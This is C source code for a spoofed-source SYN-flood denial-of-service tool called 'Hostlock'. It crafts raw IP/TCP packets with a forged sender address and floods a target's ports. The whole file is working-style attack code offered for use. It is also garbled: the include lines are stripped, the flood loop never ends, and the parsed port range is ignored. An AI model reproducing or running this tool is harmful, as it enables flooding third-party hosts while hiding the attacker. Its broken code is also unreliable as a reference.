#include #include #include #include #include #include #include #include #include /* INET symbol definitions */ #include #include "ip.h" /* Configurable defaults. These are specifiable via the command line. */ #define DEF_BADDR "194.220.61.1" #define DEF_SYNS 32 #define DEF_MAX 1024 /* (See Accompanying Table) */ #define DEF_LOW 7 struct tcppkt { struct iphdr ip; struct tcphdr tcp; }; #define PACKET_SIZE sizeof(struct tcppkt) void usage(char *progname) { fprintf(stderr, "Hostlock v.01\n"); fprintf(stderr, "Usage: %s [options]\n", progname); fprintf(stderr, "Options:\n\ -b [addr]\tAddress from which the SYNflood packets should appear to be.\n\ \t\tThis address should have correct routing records, but not exlst.\n\ -l [port]\tPort to begin scanning from.\n\ -h [port]\tPort to end scanning on.\n\ -d [port]\tSpecific port to flood.\n\ -n [syns]\tNumber of SYN packets to flood with.\n"); exit(1); } u_long resolve (char *host) { struct hostent *he; u_long addr; if( (he = gethostbyname(host)) == NULL ) addr = inet_addr(host); else memcpy(&addr, *(he->h_addr_list), sizeof(he->h_addr_list)); return(addr); } /* From ping.c */ /* *in cksum - * Checksum routine for Internet Protocol family headers (C Version) */ unsigned short in_cksum(u_short addr, int len) { int nleft = len; u_short *w = addr; int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w ; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = -sum; return(answer); } int sendsyn(sin, s, baddr, sport, seq) struct sockaddr_in *sin; int s; u_long baddr, seq; u_short sport; { struct iphdr *ip; struct tcphdr *tcp; char *php; static char packet[PACKET_SIZE]; static char phead[PACKET_SIZE + 12]; u_short len = 0; /* Overlay IP header structure onto packet. */ ip = (struct iphdr *)packet; /* Fill in IP Header values. */ ip->ihl = 5; ip->version = 4; ip->tos = 0; ip->tot_len = htons(PACKET_SIZE); ip->id = htons(2600 + (rand()%32768)); ip->frag_off = 0; ip->ttl = 255; ip->protocol = IPPROTO_TCP; ip->check = 0; ip->saddr = baddr; ip->daddr = sin->sin_addr.s_addr; /* The Linux kernel automatically checksums outgoing raw packets. * however, other implementations might not, so if you are porting, * remember to uncomment this line. * ip->check = in_cksum((char *)&ip, sizeof(struct iphdr)); */ ip->check = in_cksum((char *)&ip, sizeof(struct iphdr)); /* Overlay TCP Header structure onto packet. */ tcp = (struct tcphdr *)(packet + sizeof(struct iphdr)); /* Fill in TCP Header values. */ tcp->th_sport = htons (sport); tcp->th_dport = htons(sin->sin_port); tcp->th_seq = htonl (seq); tcp->th_ack = 0; tcp->th_x2 = 0; tcp->th_off = 5; tcp->th_flags = TH_SYN; tcp->th_win = htons(10052); tcp->th_sum = 0; tcp->th_urp = 0; php = phead; memset(php, 0, PACKET_SIZE + 12); memcpy(php, &(ip->saddr), 8); php += 9; memcpy(php, &(ip->protocol), 1); len = htons(sizeof(struct tcphdr)); memcpy(++php, &len, 2); php += 2; memcpy(php, tcp, sizeof(struct tcphdr)); /* Now fill in the checksum. */ tcp->th_sum = in_cksum(php, sizeof(struct tcphdr)+12); /* And send... */ return(sendto(s, packet, PACKET_SIZE, 0, (struct sockaddr *)sin, sizeof(struct sockaddr_in))); } void synflood(baddr, bport, s, numsyns, sin) u_long baddr; u_short bport, numsyns; int s; struct sockaddr_in *sin; { int i; printf("%d", sin->sin_port); fflush(stdout); for(i = 0 ; i < numsyns ; i++) { if( (sendsyn(sin, s, baddr, 3131, 31337)) == -1) { perror("Error sending SYN packet"); exit(1); } printf(","); fflush(stdout); } printf("\n"); } void main (int argc,char **argv) { struct sockaddr_in sin; u_long saddr, daddr, baddr; u_short i, numsyns, lo, hi; u_short sport = 23, bport = 23; char buf[256]; int s, r, total; total = numsyns = lo = hi = baddr = 0; /* Minimum usage is "hostlock " */ if(argc < 2) usage(argv[0]); if( (daddr = resolve(argv[1])) == -1) { fprintf(stderr, "Bad hostname/ip address: %s\n", argv[1]); usage(argv[0]); } for(i = 2 ; i < argc ; i ++) { switch(argv[i][1]) { case 'b': case 'B': if( (baddr = inet_addr(argv[++i])) == -1) { fprintf(stderr, "Bad hostname/ip address: %s\n", argv[1]); fprintf(stderr, "Defaulting to %s...\n", (DEF_BADDR)); baddr = inet_addr(DEF_BADDR); } break; case 'l': case 'L': lo = atoi(argv[++i]); break; case 'h': case 'H': hi = atoi(argv[++i]); break; case 'd': case 'D': hi = lo = atoi(argv[++i]); break; case 'n': case 'N': numsyns = atoi(argv[++i]); break; default: fprintf(stderr, "Unknown option: -%c\n", argv[i][1]); usage(argv[0]); break; } } /* Institute defaults if these options have not been specified. */ if(!numsyns) numsyns = DEF_SYNS; if(!lo) lo = DEF_LOW; if(!hi) hi = DEF_MAX; if(!baddr) baddr = inet_addr(DEF_BADDR); /* Fill in our sockaddr_in structure. */ sin.sin_family = PF_INET; sin.sin_addr.s_addr = daddr; sin.sin_port = 0; if( (gethostname(buf, 256)) == -1) { perror("Unable to get our hostname"); exit(1); } if( (saddr = resolve(buf)) == -1) { perror("Unable to resolve our hostname"); exit(1); } /* Open our sending and receiving sockets. */ if( (s = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("Unable to open a raw socket"); exit(1); } printf("Open raw socket\n"); printf("Performing hostlock on %s ports %d to %d. \n", inet_ntoa(sin.sin_addr), lo, hi); printf("Flooding ports with %d SYNs each...\n", numsyns); fflush(stdout); /* Flood. */ sin.sin_port = htons(110); for (i= 0;0 < 8;i++) { synflood(baddr, bport, s, numsyns, &sin); } printf("Hostlock completed. Exiting.\n"); exit(0); }